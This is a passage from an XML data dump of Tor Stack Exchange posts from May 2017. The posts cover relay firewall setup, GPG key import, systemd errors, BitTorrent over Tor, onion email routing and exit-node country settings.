LastEditDate="2017-05-08T11:00:34.843" LastActivityDate="2017-05-08T11:00:34.843" Title="Do I need a firewall and or Virus protection software" Tags="|ubuntu|firewall|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14737" PostTypeId="1" CreationDate="2017-05-06T05:52:23.433" Score="2" ViewCount="817" Body="&lt;p&gt;I asked &lt;a href=&quot;https://tor.stackexchange.com/questions/14727/why-arent-the-biggest-bittorrent-file-sharing-sites-using-tor-yet&quot;&gt;this question earlier&lt;/a&gt; about whether Bittorrent over Tor is a good idea, and if it is, why it's not popular (turns out it would be a very bad idea). So my follow-up question is now: What would be the better alternative for the purposes of file-sharing anonymously over Tor, preferably retaining Bittorrent's advantages like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;no central host from which nobody would be able to download if it stops working&lt;/li&gt;&#xA;&lt;li&gt;not having to have a complete downloaded file to share what you already have&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or are these features of Bittorrent protocol what causes problems to Tor network? If it doesn't make sense to share files this way, what is the next best way?&lt;/p&gt;&#xA;" OwnerUserId="1058" LastActivityDate="2017-05-08T21:18:02.463" Title="What would be the better alternative to Bittorrent file-sharing sharing over Tor?" Tags="|bittorrent|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14739" PostTypeId="2" ParentId="4599" CreationDate="2017-05-06T20:07:45.097" Score="1" Body="&lt;p&gt;This kind of setup will not work, consider what you're asking proxychains to do: Connect to the local Tor SOCKS port then ask Tor to make a connection to a localhost address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No amount of reconfiguration will work, you'd be asking an exit to connect to 127.0.0.1, which from its perspective is itself, not your own localhost where the proxy is listening. Exit will, by default, reject connection attempts to private and local addresses.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-06T20:07:45.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14745" PostTypeId="2" ParentId="14735" CreationDate="2017-05-07T22:44:12.953" Score="1" Body="&lt;p&gt;Ubuntu comes with a firewall, called &lt;a href=&quot;https://help.ubuntu.com/community/UFW&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ufw&lt;/code&gt; (Uncomplicated Firewall)&lt;/a&gt; which should suffice, it is a front end to the Linux &lt;code&gt;iptables&lt;/code&gt; packet filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ufw allow 9001/tcp #change 9001 to your chosen ORPort&#xA;sudo ufw allow 22/tcp #if you remotely administrate with ssh&#xA;sudo ufw enable&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to add additional lines if there are other services that it's running that need to be accessible from the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend &lt;em&gt;against&lt;/em&gt; using any &quot;antivirus&quot; because it's mostly snakeoil and the offerings for Linux aren't very good and are more likely to be a vulnerability than an improvement in security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much more useful step to take is to enable are automatic updates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install unattended-upgrades&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will provide more protection than antivirus.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-07T22:44:12.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14746" PostTypeId="1" CreationDate="2017-05-08T00:46:30.573" Score="1" ViewCount="187" Body="&lt;p&gt;How does enabling javascript affect whether a Tor user's IP address is revealed if the site is not launching an exploit or attack? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Instagram's privacy policy states that they collect IP addresses in their log file. So does enabling javascript automatically allows a site like Instagram to collect a Tor user's true IP address? Or does enabling Javascript mean only certain information about the browser is collected but not the true IP address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Instagram's privacy policy - Log file information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log file information is automatically reported by your browser each time you make a request to access (i.e., visit) a web page or app. It can also be provided when the content of the webpage or app is downloaded to your browser or device.&#xA;When you use our Service, our servers automatically record certain log file information, including your web request, Internet Protocol (&quot;IP&quot;) address, browser type, referring / exit pages and URLs, number of clicks and how you interact with links on the Service, domain names, landing pages, pages viewed, and other such information. We may also collect similar information from emails sent to our Users which then help us track which emails are opened and which links are clicked by recipients. The information allows for more accurate reporting and improvement of the Service.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17387" LastActivityDate="2017-05-08T01:52:46.303" Title="Javascript Clarification?" Tags="|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14747" PostTypeId="2" ParentId="14746" CreationDate="2017-05-08T01:52:46.303" Score="1" Body="&lt;p&gt;When I used the find my location feature on a few websites with JS enabled, it showed that I'm in that exit node's country. So this leads me to conclude that the chances of JS leaking the real IP is low, especially among legitimate websites. But if the site is compromised or an active attack is underway, then the enabling of JS is a vulnerability. &lt;/p&gt;&#xA;" OwnerUserId="17387" LastActivityDate="2017-05-08T01:52:46.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14748" PostTypeId="1" CreationDate="2017-05-08T11:27:33.307" Score="0" ViewCount="1633" Body="&lt;p&gt;I'm following &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; to install Tor on a Debian based machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm unable to add Tor's gpg key to the system's apt repository:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@fenrir:~# gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg: keyserver receive failed: No keyserver available&#xA;root@fenrir:~# gpg --keyserver keys.gnupg.net --recv 886DDD89&#xA;gpg: keyserver receive failed: No keyserver available&#xA;root@fenrir:~# gpg --keyserver keyserver.ubuntu.com --recv 886DDD89&#xA;gpg: keyserver receive failed: No keyserver available&#xA;root@fenrir:~# gpg --keyserver keyserver.ubuntu.com --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg: keyserver receive failed: No keyserver available&#xA;root@fenrir:~# gpg --keyserver pgp.mit.edu --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg: keyserver receive failed: No keyserver available&#xA;root@fenrir:~# gpg --keyserver sks-keyservers.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89&#xA;gpg: keyserver receive failed: Connection refused&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm unsure if the GPG keys of Tor are no longer available or if the key servers are down.&lt;/p&gt;&#xA;" OwnerUserId="9395" LastEditorUserId="16657" LastEditDate="2017-05-08T16:28:30.130" LastActivityDate="2017-05-08T16:28:30.130" Title="Unable to receive and add Tor's keys to apt" Tags="|debian|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14749" PostTypeId="2" ParentId="14748" CreationDate="2017-05-08T12:09:35.637" Score="1" Body="&lt;p&gt;Works here, either the servers were down (unlikely) or you can't access them because they are blocked (e.g. Firewall)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can import the key manually like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --import PATH_TO_KEY&#xA;gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | sudo apt-key add -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can get the key &lt;a href=&quot;https://gist.github.com/pgerber/ac401aacb2375379716802c55042cdcb&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-08T12:09:35.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14750" PostTypeId="2" ParentId="14737" CreationDate="2017-05-08T21:18:02.463" Score="2" Body="&lt;p&gt;There are a few issues with BitTorrent-like file sharing systems that make it a bad fit for the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the top of my head, I can think of this issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You'll have to use hidden services if you want both sides of a connection to be anonymous. Such a connection involves 6 relays which means that the bandwidth used in the Tor network six times higher than the actual transfer speed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;My point is that file-sharing over Tor is the problem, because it needs a lot of bandwidth. Just like streaming youtube or netflix over Tor consumes a lot of bandwidth&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, they do, but unlike torrents they are still transfered at a limited speed. File sharing client will try to use all bandwidth available however. This is going to make the network unusable for anything that needs low latency, like browsing. Of course downloading files has the same effect, but having file sharing on the network could increase this kind of traffic by a few orders of magnitude.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;that's why I'm looking for an answer which involves millions of bittorrent users switching to something different. Which at that scale would apparently be very bad for the Tor network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are few issues with having millions of users of BitTorrent or a similar software that provide relays:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The way Tor currently informs client about available relays doesn't scale to millions of relays.&lt;/li&gt;&#xA;&lt;li&gt;TorBrowser, to be usable, depends on stable relays. The infrastructure to decide if millions of relays are stable and behave properly does not exist.&lt;/li&gt;&#xA;&lt;li&gt;It would likely make it easier for an adversary to hide malicious relays in millions of relays.&lt;/li&gt;&#xA;&lt;li&gt;Many of the relays are going to be very small, just a few torrent streams running over the same relay are going to make it unusable for Browsing (high delay). (Something like QoS would have to be implemented.)&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tor was designed as a low latency network, to allow it to be used for Browsing mainly. What is needed for file sharing is high bandwidth not low latency. It would probably be best to just use something that is designed for file sharing, the design of &lt;a href=&quot;https://gnunet.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GNUnet&lt;/a&gt;, for instance, might be a better fit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In conclusion, the Tor network, in its current form, is the wrong network for large-scale file sharing and it will likely stay that way for the foreseeable future.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-08T21:18:02.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14751" PostTypeId="1" AcceptedAnswerId="14753" CreationDate="2017-05-08T21:47:57.160" Score="3" ViewCount="701" Body="&lt;p&gt;The question may seem stupid, but can I just shut down my Pc running Ubuntu with a Tor relay or is there as set procedure?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="17225" LastEditorUserId="17225" LastEditDate="2017-05-08T23:14:23.850" LastActivityDate="2021-05-18T00:53:50.040" Title="How to shut down a Tor relay" Tags="|relays|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14752" PostTypeId="1" AcceptedAnswerId="14755" CreationDate="2017-05-08T21:48:33.163" Score="1" ViewCount="2140" Body="&lt;p&gt;That is what &lt;code&gt;service tor@default status&lt;/code&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;● tor@default.service - Anonymizing overlay network for TCP&#xA;   Loaded: loaded (/lib/systemd/system/tor@default.service; static; vendor preset: enabled)&#xA;   Active: inactive (dead) (Result: exit-code) since Вт 2017-05-09 00:37:37 MSK; 10s ago&#xA;  Process: 4184 ExecStartPre=/usr/bin/install -Z -m 02755 -o debian-tor -g debian-tor -d /var/run/tor (code=exited, status=226/NAMESPACE)&#xA;&#xA;май 09 00:37:37 redkin-server systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;май 09 00:37:37 redkin-server systemd[1]: tor@default.service: Unit entered failed state.&#xA;май 09 00:37:37 redkin-server systemd[1]: tor@default.service: Failed with result 'exit-code'.&#xA;май 09 00:37:37 redkin-server systemd[1]: tor@default.service: Service hold-off time over, scheduling restart.&#xA;май 09 00:37:37 redkin-server systemd[1]: Stopped Anonymizing overlay network for TCP.&#xA;май 09 00:37:37 redkin-server systemd[1]: tor@default.service: Start request repeated too quickly.&#xA;май 09 00:37:37 redkin-server systemd[1]: Failed to start Anonymizing overlay network for TCP.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the line from syslog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 23:40:25 redkin-server systemd[20127]: tor@default.service: Failed at step NAMESPACE spawning /usr/bin/install: Invalid argument&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;lsof -i :9050&lt;/code&gt; shows nothing. Where to should I dig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Forgot to mention: before upgrade TOR worked fine.&lt;/p&gt;&#xA;" OwnerUserId="17398" LastEditorUserId="17398" LastEditDate="2017-05-09T07:59:03.927" LastActivityDate="2017-05-09T10:01:51.807" Title="Can't start TOR on freshly upgraded Ubuntu 16.04 (from 14.04)" Tags="|ubuntu|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14753" PostTypeId="2" ParentId="14751" CreationDate="2017-05-08T21:54:38.240" Score="5" Body="&lt;p&gt;The default systemd/upstart script should handle a shutdown properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that special about a relay shutdown is that there is a grace period of 30 secs to avoid tearing down short-lived connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From tor's the manpage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ShutdownWaitLength NUM&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When we get a SIGINT and we’re a server, we begin shutting down: we close listeners and start refusing new circuits. After NUM seconds, we exit. If we get a second SIGINT, we exit immediately. (Default: 30 seconds)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-08T21:54:38.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14755" PostTypeId="2" ParentId="14752" CreationDate="2017-05-09T07:19:05.007" Score="2" Body="&lt;p&gt;As @Peter Gerber noted, that was an issue with systemd.&#xA;What I've done:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Changed symlink &lt;code&gt;/var/run&lt;/code&gt; to point to &lt;code&gt;../run&lt;/code&gt; instead of &lt;code&gt;/run&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Added &lt;code&gt;ReadWriteDirectories=-/run&lt;/code&gt; to &lt;code&gt;/lib/systemd/system/tor@default.service&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;After every change run &lt;code&gt;systemctl daemon-reload&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These two changes separately didn't help, but both of it combined resolved my problem. Thank you Peter once more!&lt;/p&gt;&#xA;" OwnerUserId="17398" LastEditorUserId="17398" LastEditDate="2017-05-09T10:01:51.807" LastActivityDate="2017-05-09T10:01:51.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14756" PostTypeId="2" ParentId="13976" CreationDate="2017-05-09T09:45:08.927" Score="2" Body="&lt;p&gt;Your connection speed depends on the Tor relays involved in the current circuit. So your best bet is to click on the green onion in the Tor Browser. This will show you all three relays. Use &lt;a href=&quot;https://atlas.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Atlas&lt;/a&gt; to check the &lt;em&gt;Advertised Bandwidth&lt;/em&gt; of those relays. Most probably your circuit will go through high bandwidth relays which results in such high speed and everything is alright.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-05-09T09:45:08.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14757" PostTypeId="1" CreationDate="2017-05-09T14:01:25.533" Score="2" ViewCount="1136" Body="&lt;p&gt;My system tor version 0.2.9.10 (on Ubuntu 16.04) is outputing a lot of the following warnings:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fetching v2 rendezvous descriptor failed. Retrying at another directory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there some way to fix it? Perhaps there's a way to force tor to fetch the descriptors?&lt;/p&gt;&#xA;" OwnerUserId="866" LastEditorUserId="88" LastEditDate="2017-05-10T07:56:45.593" LastActivityDate="2017-05-10T08:05:48.917" Title="Fetching v2 rendezvous descriptor failed. Retrying at another directory" Tags="|onion-services|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14758" PostTypeId="1" CreationDate="2017-05-10T03:02:19.983" Score="1" ViewCount="373" Body="&lt;p&gt;&lt;a href=&quot;http://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Panopticlick&lt;/a&gt; detects no fonts on my Tor browser. The standard should be Wingdings2 and Wingdings3.&#xA;I have disabled incognito mode and added Self-destructing cookies, uBlock Origin and changed the default font to serif (Firefox default). I tried adding the string &lt;code&gt;font.system.whitelist&lt;/code&gt; to no avail. &lt;code&gt;Allow pages to use their own fonts&lt;/code&gt; have been tested both on and off.&lt;/p&gt;&#xA;" OwnerUserId="17409" LastEditorUserId="88" LastEditDate="2017-05-10T08:07:58.173" LastActivityDate="2017-05-10T08:07:58.173" Title="Tor fonts not displayed in Panopticlick" Tags="|tor-browser-bundle|firefox|fingerprinting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14759" PostTypeId="2" ParentId="14757" CreationDate="2017-05-10T08:05:48.917" Score="3" Body="&lt;p&gt;Your version of Tor has bug which causes this messages (see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/21056&quot; rel=&quot;nofollow noreferrer&quot;&gt;#21056&lt;/a&gt;). Version 0.3.0.6 has a &lt;a href=&quot;https://blog.torproject.org/blog/tor-0306-released-new-series-stable&quot; rel=&quot;nofollow noreferrer&quot;&gt;partial fix&lt;/a&gt;. If you install this version there are high chances that the messages will go away. Currently the developers are working on a full fix (see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/17242&quot; rel=&quot;nofollow noreferrer&quot;&gt;#17242&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would recommend to install a newer version. Please follow the advise at &lt;a href=&quot;https://www.torproject.org/docs/debian.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;the instruction page for Debian and Ubuntu&lt;/a&gt; and add the following line to your &lt;code&gt;sources.list&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://deb.torproject.org/torproject.org tor-experimental-0.3.0.x-xenial main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After you updated the repositories you can choose to install the newest version.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-05-10T08:05:48.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14760" PostTypeId="2" ParentId="14001" CreationDate="2017-05-10T14:40:12.950" Score="0" Body="&lt;p&gt;I have no clue why this breaks the browser but you can change hardware acceleration back to disabled in order to to restore the browsers functionality. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do this you have to find the file prefs.js in profile.default and change it according to fix 2 of this link: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.askvg.com/how-to-disable-hardware-acceleration-gpu-rendering-in-mozilla-firefox-4-0-to-fix-font-problem/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.askvg.com/how-to-disable-hardware-acceleration-gpu-rendering-in-mozilla-firefox-4-0-to-fix-font-problem/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17415" LastActivityDate="2017-05-10T14:40:12.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14761" PostTypeId="1" CreationDate="2017-05-10T17:32:03.390" Score="1" ViewCount="39" Body="&lt;p&gt;i began using tor about 2 weeks ago to bypass  my schools heavily restrictive internet filtering, which is so intense it blocks sites such as Wikipedia, and even google, and even has become an annoyance to much of the school administration. my school's isp is internet rimon, which from the research ive done uses filtering at the modem level rather than standard methods of filtering. for the past 2 weeks I have been able to bypass it using the obsf4 bridge provided with my download. today, however, this has stopped working. ill attempt to describe the problem and what ive tried as best as possible, and Hopefully someone can help me.&#xA;when I attempt to start tor, it begins to load, and 1 of 2 things happen, depending on what bridge I'm trying. obsf3 and 4 remain endlessly stuck on &quot;establishing an encrypted directory connection&quot;.&#xA;fte, meek, and 3 bridges I got from bridgdb load for a while and then give the error message &quot;Tor failed to establish a Tor network connection. Establishing an encrypted directory connection failed&quot;&#xA;I have attempted to reinstall tor. the new installation acted exactly identically. &#xA;I ran tor successfully on another network from my computer. I've tried various bridges, ect, as described above.&#xA;Please help,&#xA;Thanks,&#xA;Bob&lt;/p&gt;&#xA;" OwnerUserId="17419" LastActivityDate="2017-05-11T08:58:36.017" Title="Tor blocked by Internet rimon" Tags="|help|" AnswerCount="0" CommentCount="5" ClosedDate="2017-05-11T09:37:36.300" ContentLicense="CC BY-SA 3.0" />
  <row Id="14763" PostTypeId="1" CreationDate="2017-05-11T06:25:06.580" Score="2" ViewCount="2653" Body="&lt;p&gt;If an email provider uses an .onion address, does the email exit their servers into the internet through a tor exit node?  Could a powerful adversary track it?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="12737" LastEditDate="2017-05-11T10:17:14.317" LastActivityDate="2021-03-22T20:43:28.647" Title="sending email through .onion" Tags="|onion-routing|email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14765" PostTypeId="2" ParentId="14763" CreationDate="2017-05-11T10:36:44.347" Score="5" Body="&lt;p&gt;It depends, there are a few scenarios.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Internal mail, from: &lt;code&gt;alice@foo.onion&lt;/code&gt; to: &lt;code&gt;bob@foo.onion&lt;/code&gt; &lt;em&gt;or&lt;/em&gt; from: &lt;code&gt;alice@foo.com&lt;/code&gt; to: &lt;code&gt;bob@foo.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The email never leaves the foo.com server(s), there's no way to intercept it without compromising the mail server(s).&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Onion to onion, from: &lt;code&gt;alice@foo.onion&lt;/code&gt; to: &lt;code&gt;bob@bar.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is the same as internal except now either of the two servers would need to be compromised to gain visibility. It would need to be supported by both mail providers to work, which isn't common, I don't know of any that do.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;External to onion, from: &lt;code&gt;alice@foo.com&lt;/code&gt; to: &lt;code&gt;bob@bar.onion&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is mostly the same as onion to onion, since the outbound mail from foo.com connects over tor to bar.onion.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Onion to external, from: &lt;code&gt;alice@foo.onion&lt;/code&gt; to: &lt;code&gt;bob@bar.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Yes, this would traverse the internet in some way and would have to leave the Tor network.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Onion to onion mail isn't widely supported, until it is this is mostly irrelevant.&lt;/li&gt;&#xA;&lt;li&gt;Email is protected in-transit anyway, on any well configured mail service. The connection from foo.com to bar.com would be encrypted using TLS, taking it out of the reach of a passive man-in-the-middle adversary anyway.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-11T10:36:44.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14770" PostTypeId="1" CreationDate="2017-05-12T08:39:56.877" Score="0" ViewCount="94" Body="&lt;p&gt;Is the TORCoin cryptocurrency officially endorsed by the Tor Project ?&lt;/p&gt;&#xA;" OwnerUserId="17432" LastActivityDate="2017-05-12T08:48:47.637" Title="Is TORCoin officially endorsed by the Tor Project?" Tags="|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14771" PostTypeId="2" ParentId="14770" CreationDate="2017-05-12T08:48:47.637" Score="1" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://twitter.com/torproject/status/855882107234770944&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tweet&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: @TheTorCoin is using our name &amp;amp; logo without permission or approval. Their service is not endorsed by or affiliated with Tor.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-05-12T08:48:47.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14772" PostTypeId="1" CreationDate="2017-05-13T00:15:06.520" Score="1" ViewCount="55" Body="&lt;p&gt;Here's a link to the relay in Atlas...&#xA;&lt;a href=&quot;https://atlas.torproject.org/#details/BAF13EDE65C42CF497841AAE7A2CC2598E586817&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/#details/BAF13EDE65C42CF497841AAE7A2CC2598E586817&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been running for nearly two weeks, except for a reboot yesterday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connection: 1Gbps fiber (very little other traffic)&#xA;System: Virtual box with 2 cpus and 4GB RAM.  Running on i3 with 16GB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not limited the connection speed and the router is a high end Netgear consumer one, so this shouldn't be an issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come the speed is using such a small fraction of what is available and getting even slower?&lt;/p&gt;&#xA;" OwnerUserId="17437" LastActivityDate="2017-05-13T06:50:00.607" Title="My relay is getting slower" Tags="|fast-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14773" PostTypeId="2" ParentId="14772" CreationDate="2017-05-13T06:50:00.607" Score="1" Body="&lt;p&gt;It takes a while for relays to be fully integrated into the network. The Tor Project has published an excellent blog post called &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow noreferrer&quot;&gt;The lifecycle of a new relay&lt;/a&gt; that has some more details on it.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-05-13T06:50:00.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14775" PostTypeId="1" CreationDate="2017-05-13T09:26:33.817" Score="1" ViewCount="495" Body="&lt;p&gt;When writing text/posts on facebook in Tor, I cannot use shift+Enter to create a blank space to the next line of text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;shift+Enter, only enters my posting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that can't be fixed, how do I put some air between lines, for easier reading?&lt;/p&gt;&#xA;" OwnerUserId="17441" LastEditorUserId="88" LastEditDate="2017-05-15T08:31:29.850" LastActivityDate="2017-06-15T00:49:41.020" Title="Shift+Enter does not work in Facebook postings" Tags="|tor-browser-bundle|help|javascript|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14776" PostTypeId="1" CreationDate="2017-05-13T13:47:51.607" Score="0" ViewCount="7011" Body="&lt;p&gt;Sono un nuovo utilizzatore di TOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lo uso per vedere la TV Svizzera dall'Italia.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Per farlo nel file torrc-defaults ho inserito: EntryNodes {CH} e ExitNodes {CH}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tutto funziona perfettamente.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Io ho trovato online questa feature in modo del tutto casuale&#xA;.&#xA;Perché questa feature di cambiare la nazione con EntryNodes e ExitNodes non è&#xA;possibile farla direttamente dall'interno del sw?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Io ho trovato online questa feature in modo del tutto casuale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inoltre perché  non è possibile avviare due istanze di TOR contemporaneamente?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Infatti mi servivano per avere contemporaneamente la visione della TV Svizzera e di quella 